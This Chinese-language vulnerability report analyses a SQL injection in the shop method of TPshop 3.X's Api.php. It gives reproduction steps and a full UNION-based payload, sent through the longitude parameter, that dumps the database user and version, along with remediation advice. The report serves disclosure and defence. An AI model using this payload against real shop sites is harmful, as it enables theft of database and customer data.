某shop API接口前台注入(通杀3.X)
字数 791 2025-08-29 08:32:24

TPshop API接口前台SQL注入漏洞分析报告

漏洞概述

TPshop电商系统(3.X版本)存在一个前台SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。该漏洞位于/application/home/controller/Api.php控制器的shop方法中,由于未对用户输入进行有效过滤,导致SQL注入风险。

漏洞详情

受影响版本

  • TPshop 3.X系列版本

漏洞位置

/application/home/controller/Api.php中的shop方法

漏洞类型

SQL注入

漏洞成因

  1. 未对用户输入参数进行预编译处理
  2. 直接将用户可控变量拼接到SQL语句中执行

漏洞分析

代码分析

关键代码段位于Api.phpshop方法:

379~384: 获取外部输入并赋值给变量
385~387: 检查$province_id、$city_id、$district_id是否为空
388: 将上述参数放入$where数组
389: 定义$field变量赋值为*
390: 定义$order变量赋值为shop_id desc
391: 检查$longitude是否为真
392: $longitude、$latitude拼接到SQL语句
393: $order赋值为distance ASC
395: 检查$shop_address是否为真
396: $shop_address放入$where数组
399: 执行SQL查询

漏洞触发点

$field变量传入field方法时未进行预编译处理,而是直接拼接到SQL语句中执行。

漏洞复现

测试环境

  • TPshop 3.X
  • 示例URL: http://www.example.com/index.php/home/api/shop

复现步骤

  1. 发送POST请求到目标URL
  2. 构造恶意参数:
    province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1'
    
  3. 观察数据库错误返回

完整Payload

province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1- latitude)* 111),2))),2) AS distance FROM `tp_shop` WHERE `deleted` = :where_deleted AND `shop_status` = :where_shop_status AND `province_id` = :where_province_id AND `city_id` = :where_city_id AND `district_id` = :where_district_id AND ( `shop_name` LIKE :where_shop_name OR `shop_address` LIKE :where_shop_address ) UNION(SELECT(user()),(version()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28))%23

注意:实际使用时需要根据目标系统的字段数调整Payload。

利用效果

  1. 查询数据库用户:
    SELECT(user())
    
  2. 查询数据库版本:
    SELECT(version())
    
  3. 查询数据库名
  4. 查询表结构
  5. 查询用户数据

修复建议

  1. 对所有用户输入参数进行严格的过滤和验证
  2. 使用预编译语句(PDO)替代直接拼接SQL
  3. 对数字型参数进行强制类型转换
  4. 对字符串参数进行转义处理
  5. 最小化数据库用户权限

总结

该漏洞展示了开发过程中忽视输入验证和SQL预编译处理可能导致的严重后果。开发人员应始终遵循"不信任任何用户输入"的原则,对所有外部输入进行严格验证和过滤。

安全箴言:代码千万行,安全第一条,开发(PDO)不规范,系统被插惨。

TPshop API接口前台SQL注入漏洞分析报告 漏洞概述 TPshop电商系统(3.X版本)存在一个前台SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。该漏洞位于 /application/home/controller/Api.php 控制器的 shop 方法中,由于未对用户输入进行有效过滤,导致SQL注入风险。 漏洞详情 受影响版本 TPshop 3.X系列版本 漏洞位置 /application/home/controller/Api.php 中的 shop 方法 漏洞类型 SQL注入 漏洞成因 未对用户输入参数进行预编译处理 直接将用户可控变量拼接到SQL语句中执行 漏洞分析 代码分析 关键代码段位于 Api.php 的 shop 方法: 漏洞触发点 $field 变量传入 field 方法时未进行预编译处理,而是直接拼接到SQL语句中执行。 漏洞复现 测试环境 TPshop 3.X 示例URL: http://www.example.com/index.php/home/api/shop 复现步骤 发送POST请求到目标URL 构造恶意参数: 观察数据库错误返回 完整Payload 注意 :实际使用时需要根据目标系统的字段数调整Payload。 利用效果 查询数据库用户: 查询数据库版本: 查询数据库名 查询表结构 查询用户数据 修复建议 对所有用户输入参数进行严格的过滤和验证 使用预编译语句(PDO)替代直接拼接SQL 对数字型参数进行强制类型转换 对字符串参数进行转义处理 最小化数据库用户权限 总结 该漏洞展示了开发过程中忽视输入验证和SQL预编译处理可能导致的严重后果。开发人员应始终遵循"不信任任何用户输入"的原则,对所有外部输入进行严格验证和过滤。 安全箴言 :代码千万行,安全第一条,开发(PDO)不规范,系统被插惨。